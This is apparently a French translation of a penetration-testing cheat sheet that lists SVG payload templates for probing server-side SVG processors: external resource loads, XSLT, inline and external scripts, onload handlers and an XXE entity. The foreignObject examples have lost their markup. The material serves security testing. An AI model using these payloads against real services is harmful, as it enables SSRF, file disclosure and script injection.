
Une antisèche pour exploiter les processeurs SVG côté serveur.
Les hôtes qui traitent des SVG peuvent potentiellement être vulnérables aux SSRF, LFI, XSS et RCE en raison du riche ensemble de fonctionnalités de SVG.
Toutes ces méthodes spécifient une URI, qui peut être absolue ou relative. Les protocoles file et HTTP sont importants à tester, mais d'autres protocoles peuvent également être pris en charge selon l'implémentation (par exemple, les schémas de flux PHP), y compris javascript: et data:.
Ce document contient une liste de toutes les façons que je connais d'abuser de cette fonctionnalité dans les SVG.
Notez que certains services qui prétendent ne pas accepter le SVG comme format d'entrée le font en réalité avec un peu de persuasion.
file n'inclut aucun magic SVG, cela dépend donc probablement des implémentations individuelles.SVG peut inclure directement des images externes via la balise <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Notez que vous pouvez également l'utiliser pour inclure d'autres images SVG.
<use>SVG peut inclure du contenu SVG externe via la balise <use>.
file1.svg :
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg :
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG peut inclure des feuilles de style externes via la balise <link>, tout comme le HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
Les SVG peuvent inclure des feuilles de style XSLT via <?xml-stylesheet?>. Étonnamment, cela semble fonctionner dans Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
Remarque : en raison de la nature de XSLT, l'entrée n'a pas réellement besoin d'être un fichier SVG valide si la xml-stylesheet est ignorée, mais c'est utile pour contourner les filtres.
De plus, comme je n'ai aucun intérêt à apprendre XSLT, ce modèle remplace simplement en bloc l'intégralité de l'« ancienne » image par la nouvelle.
SVG peut nativement inclure du JavaScript en ligne, tout comme le HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG peut également inclure des scripts externes.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG peut également avoir des gestionnaires d'événements en ligne qui sont exécutés au chargement (onload).
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
Vous pouvez également lier des gestionnaires aux animations et à certains autres événements. Lisez la spécification SVG.
Parce que le SVG est du XML, il peut également contenir des XXE :
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>La balise <foreignObject> est incroyable. Elle peut être utilisée pour inclure du (X)HTML arbitraire dans un SVG.
Par exemple, pour inclure une iframe :
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
Si vous n'avez pas accès au réseau (par exemple dans un bac à sable), vous pouvez mettre une URI data ou une URI javascript comme cible de l'iframe :
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
Si vous n'en avez pas encore assez des SVG, vous pouvez également inclure d'autres SVG via les balises <object> ou <embed>. Je pense qu'il est probablement théoriquement possible d'y mettre aussi Flash.
Notez également que, comme vous êtes dans un espace de noms XML différent, tout ce qui supprimait uniquement svg:script n'a peut-être pas supprimé html:script (ou l'équivalent pour les attributs).
Il est possible d'inclure des polices externes si vous avez déjà voulu le faire, je pense à la fois via CSS et via des attributs natifs. Ce n'est cependant pas vraiment utile car les polices web nécessitent CORS pour une raison que je ne comprends pas vraiment, liée à la DRM des ressources de polices pour empêcher le hotlinking. Je suppose qu'il existe parfois néanmoins des vulnérabilités de moteur de polices.
Cet exemple de la spécification SVG montre l'utilisation d'un nœud tref pour référencer du texte par URI. Cependant, cela ne semble fonctionner dans aucun visualiseur que j'ai essayé. S'il existe une implémentation qui le prend en charge, elle pourrait également prendre en charge les URI externes pour le href du tref.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
Si vous connaissez d'autres méthodes ou des informations/exemples pertinents, n'hésitez pas à ouvrir une issue/PR.
Si vous avez trouvé cela utile, j'apprécierais que vous me le fassiez savoir ! Ça me fait ma journée.
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.